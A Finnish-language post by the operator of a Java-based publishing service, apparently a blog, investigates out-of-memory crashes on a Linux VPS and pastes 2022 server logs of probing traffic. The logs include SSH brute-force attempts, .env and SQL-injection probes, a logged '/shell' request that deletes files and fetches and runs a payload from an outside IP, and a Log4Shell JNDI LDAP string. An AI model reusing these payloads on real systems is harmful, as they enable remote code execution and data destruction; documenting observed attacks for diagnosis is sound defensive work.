Manuaaliset kuormitustestit mukaan lukien KotvaWrite Stories kestää hyvin tavallista käyttöä ja vain yhdelläkin palvelimella toimiessaan sen voisi aivan hyvin jättää vaikka kuukaudeksi ilman erityisempää seurantaa, jos samanaikaiset käyttäjämäärät eivät ole aivan mahdottoman suuria. Tälle olettamukselle voivat aiheuttaa poikkeusta mystiset tapaukset, joiden yhteydessä virtuaalisen palvelimen (Linux) muistin ja levyn käyttö kasvavat hetkellisesti moninkertaiseksi, mikä sitten ns. kaataa sovelluspalvelimen, johon julkaisusovellus on asennettuna. Seuraukset eivät välttämättä ole kovinkaan kriittiset, sillä mahdollisesti kesken jääneet tallennukset tietokantaan ja tiedostoihin saa/saisi korjattua ja siistittyä semiautomaattisesti, minkä jälkeen riittää sovelluspalvelimen uudelleen käynnistäminen. Toisaalta, jos asiaan liittyy runsasta hakkerointikokeiluja, voivat jotkin käyttöjärjestelmätason resurssit olla lopuillaan kuten auki olevien tiedostojen määrä (eng. "files that are currently being reviewed or modified").

Käydessä silmäillen läpi käytössä olevan Linux-käyttöjärjestelmän ytimen logitiedostoa, voi sieltä tehdä huomiona, että muisti on päässyt totaalisesti loppumaan Java-prosessilta esim. 15.10.2022, 18.8.2022 ja 5.8.2022:

[Sat Oct 15 23:42:37 2022] Out of memory: Killed process 1295081 (java)

[Thu Aug 18 11:45:30 2022] Out of memory: Killed process 272984 (java)

[Fri Aug 5 06:11:36 2022] Out of memory: Killed process 4157049 (java)

Jos vähän tarkempia ollaan, sovelluspalvelin, johon julkaisusovellus on asennettuna, on itse asiassa Java servlet container, jota ajetaan Java-virtuaalikoneessa (Java Virtual Machine, JVM) ja tähän liittyvälle Java-prosessille on konfiguroitavissa, missä rajoissa sen sallitaan käyttävän muistia. Monien kuormitustestien perusteella tietyt konfiguroinnit muistinkäyttöön liittyen ovat erittäin riittäviä - kunnes eivät sitten jostain syystä olekaan.

Linux-käyttöjärjestelmään, josta julkaisusovellus asennettuna löytyy, on erikseen asennettuna kaksi APM-agenttia (Application Performance Monitoring), jotka keräävät reaaliajassa monenlaista tietoa esim. käyttöjärjestelmän ja julkaisusovelluksen toiminnasta, mitä voi sitten tarkastella lukuisin eri tavoin APM-palveluiden webkäyttöliittymissä (käytössä saattaa olla esim. New Relic ja Datadog). Näihin muistin loppuminen -tapauksiin liittyen on aina käynyt selville yhtä ja samaa eli nettiliikenteen määrä ei ole ollut merkittävänä tekijänä sellaisella hetkellä, jolloin virtuaaliprosessin käyttö on moninkertaistanut esim. 20-kertaiseksi ja levyä käytetään ihmeelliseen runsaasti lyhyen ajan puitteissa. Tuollaisina hetkinä ei olekaan ollut mikään ihme, että julkaisusovelluksen toiminta esim. tietokantakyselyiden osalta vie aikaa normaalien millisekuntien sijaan yli kymmenen sekuntia.

Lisäksi käytössä on myös mm. Papertrail-palvelu, johon voi uudelleenohjata logittumaan logitietoa useista eri lähteistä kuten sovelluspalvelimelta ja käyttöjärjestelmältä, jolloin logitietoja ei tarvitse käydä lueskelemaan Linuxissa komentotulkin käytön tasolla, vaan niitäkin voi tarkastella yhdenlaisen webkäyttöliittymän kautta. Sieltä on selvinnyt mm. sellaista, että joku tai jotkut wannabe-hakkerit tms. ovat tehneet paljon jonkinlaista kähmäistä kokeilua päästäkseen käyttöjärjestelmän, sovelluspalvelimen tai julkaisusovelluksen suojauksista läpi. Tällaista on jatkunut koko vuoden 2022, mutta siinä ei ole kertaakaan ollut pyrkimystä aiheuttaa DDoS-hyökkäyksiä (Distributed Denial of Service) eli palvelun toiminnan estämistä, vaan kyse on ollut esim. hitaasta käyttäjätunnuksien ja salasanojen kokeiluista levittäytyneenä pitkälle ajanjaksolle, jolloin esim. per minuutti kokeiluja ei kuin muutaman kymmentä. Siis joka minuutti, joka tunti, joka päivä ja joka kuukausi. Eikö vain voisi tehdä kerralla jotain oikein?

Muistin loppumisen ajoittumisen syyn päättelemisen kannalta voisi olla mahdollista nähdä yhteyttä hakkerointikokeilujen ajoittumiselle sekunteja ennen muistin loppumista, mutta koska kyse on ollut virtuaalisen palvelimen käyttämisestä dedikoidun sellaisen sijaan eli samoja fyysisiä laiteresursseja käyttää enemmän kuin yksi datakeskuksen asiakas ja joskus laitteet voivat myös vioittua, voisi syynä olla myös jostain muusta kuin mitä voi tarkastella käytettävissä olevista logeista ja visualisoitua tietoa näyttävistä kojelaudoista. Erikseen tätä datakeskus-palveluntarjoajalta kysyttäessä vastaus oli kuitenkin kieltävä eli tapahtuma-aikaan ei sen mukaan ollut mitään mainittavaa poikkeavuutta.

Muitakin potentiaalisia syitä muistin loppumiselle ja muille erityisen poikkeaville ongelmille olisi kuin jo mainitut. On esim. sovelluspalvelimen olemista versioltaan uusinta paljon jäljessä ja sama pätee myös Javaan, jota serveripuolella ohjelmointikielenä käytetään. Sillekin on erilliset parametrisäätönsä, millä perustein sovelluspalvelin ja Java siistivät muistista pois sellaista, mille ei enää ole käyttöä, mutta ne jätetään usein vakioasetuksiinsa. Kaikki tämä on sinänsä ihan hallittavissa olevaa, mutta voi vaatia pitkäaikaista seurantaa ja testailua, että rajatapaukset saadaan esille.

Loppuosa tästä kirjoituksesta sisältää huomioita erään muistinloppumis -tapauksen jäljiltä. Ja jos tässä voi lähettää terveisiä julkaisusovelluksen ylläpitäjälle, mainittakoon, että sen verran voisi tehdä lisäkonfigurointia, etteivät IP-osoitteet näkyisi 127.0.0.1-tyyppisinä sovelluspalvelimen logeissa, vaan alkuperäisinä IP-osoitteina. Tosin, olikohan General Data Protection Regulationilla (GDPR) jotain sanottavaa tähän?

Runsaasti sisäänkirjautumisyrityksiä logitiedossa /var/log/messages:

Oct 15 22:52:42 snapshot-47300778-centos-2gb-hel1-1-final sshd[2479370]: Invalid user ktx from 5.51.84.107 port 55716

Oct 15 22:52:42 snapshot-47300778-centos-2gb-hel1-1-final sshd[2479370]: Received disconnect from 5.51.84.107 port 55716:11: Bye Bye [preauth]

Oct 15 22:52:42 snapshot-47300778-centos-2gb-hel1-1-final sshd[2479370]: Disconnected from invalid user ktx 5.51.84.107 port 55716 [preauth]

Oct 15 22:52:56 snapshot-47300778-centos-2gb-hel1-1-final sshd[2479454]: Invalid user postgres from 195.88.87.19 port 53396

Oct 15 22:52:56 snapshot-47300778-centos-2gb-hel1-1-final sshd[2479454]: Received disconnect from 195.88.87.19 port 53396:11: Bye Bye [preauth]

Oct 15 22:52:56 snapshot-47300778-centos-2gb-hel1-1-final sshd[2479454]: Disconnected from invalid user postgres 195.88.87.19 port 53396 [preauth]

Oct 15 22:55:25 snapshot-47300778-centos-2gb-hel1-1-final sshd[2480086]: Invalid user Test from 179.60.147.99 port 37284

Oct 15 22:55:25 snapshot-47300778-centos-2gb-hel1-1-final sshd[2480086]: Connection closed by invalid user Test 179.60.147.99 port 37284 [preauth]

Oct 15 23:13:34 snapshot-47300778-centos-2gb-hel1-1-final sshd[2484695]: Invalid user support from 193.106.191.50 port 49598

Oct 15 23:13:43 snapshot-47300778-centos-2gb-hel1-1-final sshd[2484695]: Connection closed by invalid user support 193.106.191.50 port 49598 [preauth]

Oct 15 23:29:58 snapshot-47300778-centos-2gb-hel1-1-final sshd[2488819]: Invalid user Test from 179.60.147.99 port 55870

Oct 15 23:29:58 snapshot-47300778-centos-2gb-hel1-1-final sshd[2488819]: Connection closed by invalid user Test 179.60.147.99 port 55870 [preauth]

Oct 15 23:39:43 snapshot-47300778-centos-2gb-hel1-1-final sshd[2491284]: Received disconnect from 92.255.85.69 port 26930:11: Bye Bye [preauth]

Muutamia epäilyttäviä logirivejä siellä täällä sovelluspalvelimen logitiedostoa localhost_access_log:

127.0.0.1 - - [15/Oct/2022:23:03:39 +0200] "POST /core/.env HTTP/1.1" 404 764

127.0.0.1 - - [15/Oct/2022:23:03:39 +0200] "GET /core/.env HTTP/1.1" 404 764

127.0.0.1 - - [15/Oct/2022:23:03:40 +0200] "POST / HTTP/1.1" 200 13720

127.0.0.1 - - [15/Oct/2022:23:03:40 +0200] "POST /core/.env HTTP/1.1" 404 764

127.0.0.1 - - [15/Oct/2022:23:21:47 +0200] "GET /view.jsp?solutionid=539'A=0&writingid=12501 HTTP/1.1" 200 13477

127.0.0.1 - - [15/Oct/2022:23:21:52 +0200] "GET /view.jsp?solutionid=539&writingid=12501'A=0 HTTP/1.1" 200 15507

Muutama sata variaatiota pääsyn saamiseksi asentamattomaan webkäyttöliittymään:

127.0.0.1 - - [15/Oct/2022:19:02:14 +0200] "GET /db/phpmyadmin/index.php?lang=en HTTP/1.1" 404 782

127.0.0.1 - - [15/Oct/2022:19:02:14 +0200] "GET /sql/phpmanager/index.php?lang=en HTTP/1.1" 404 783

127.0.0.1 - - [15/Oct/2022:19:02:14 +0200] "GET /mysql/pma/index.php?lang=en HTTP/1.1" 404 778

127.0.0.1 - - [15/Oct/2022:19:02:14 +0200] "GET /MyAdmin/index.php?lang=en HTTP/1.1" 404 772

127.0.0.1 - - [15/Oct/2022:19:02:14 +0200] "GET /sql/phpMyAdmin2/index.php?lang=en HTTP/1.1" 404 784

Pääsyoikeuden saamisen yrittämistä parametreja näpräämällä ja osoitteita arvailemalla:

127.0.0.1 - - [15/Oct/2022:16:18:21 +0200] "GET /shell?cd+/tmp;rm+-rf+*;wget+81.161.229.46/jaws;sh+/tmp/jaws HTTP/1.1" 404 756

127.0.0.1 - - [15/Oct/2022:16:18:25 +0200] "GET /shell?cd+/tmp;rm+-rf+*;wget+81.161.229.46/jaws;sh+/tmp/jaws HTTP/1.1" 404 756

127.0.0.1 - - [15/Oct/2022:16:06:46 +0200] "GET /admin.pl HTTP/1.1" 404 759

195.96.137.4 - - [15/Oct/2022:16:06:46 +0200] "GET /admin.jsa HTTP/1.1" 404 760

127.0.0.1 - - [15/Oct/2022:11:57:08 +0200] "GET /linusadmin-phpinfo.php HTTP/1.1" 404 773

127.0.0.1 - - [15/Oct/2022:11:57:08 +0200] "GET /infos.php HTTP/1.1" 404 760

127.0.0.1 - - [15/Oct/2022:10:22:58 +0200] "GET /wp1/wp-includes/wlwmanifest.xml HTTP/1.1" 404 790

127.0.0.1 - - [15/Oct/2022:10:22:58 +0200] "GET /test/wp-includes/wlwmanifest.xml HTTP/1.1" 404 791

82.99.217.202 - - [15/Oct/2022:07:52:03 +0200] "GET /?id=%24%7Bjndi%3Aldap%3A%2F%2F­218.24.200.243­%3A8066%2FTomcatBypass­%2FY3D HTTP/1.1" 200 13720

127.0.0.1 - - [15/Oct/2022:01:29:44 +0200] "POST /FD873AC4-CF86-4FED-­84EC-4BD59C6F17A7 HTTP/1.1" 404 787

Sovelluspalvelimen toisessa logissa (catalina) on toisinaan kuviteltujen heikkouksien kokeilua:

14-Oct-2022 04:01:50.622 INFO [http-nio2-8080-exec-21] org.apache.coyote.http11.Http11Processor.service Error parsing HTTP request header

 Note: further occurrences of HTTP request parsing errors will be logged at DEBUG level.

       java.lang.IllegalArgumentException: Invalid character found in method name [0x160x030x010x00­{0x01;0x993Z0x15e}­0x005/0x050x010x00...]. HTTP method names must be tokens

15-Oct-2022 14:21:12.637 INFO [http-nio2-8080-exec-6] org.apache.coyote.http11.Http11Processor.service Error parsing HTTP request header

 Note: further occurrences of HTTP request parsing errors will be logged at DEBUG level.

   java.lang.IllegalArgumentException: Invalid character found in method name [0x160x030x010x00­{0xe40x920x88{#{*<0xc80xec0xfc}­­l0x820x85\0xcc0x1a0xc0/­0x0050xc00x000x00...]. HTTP method names must be tokens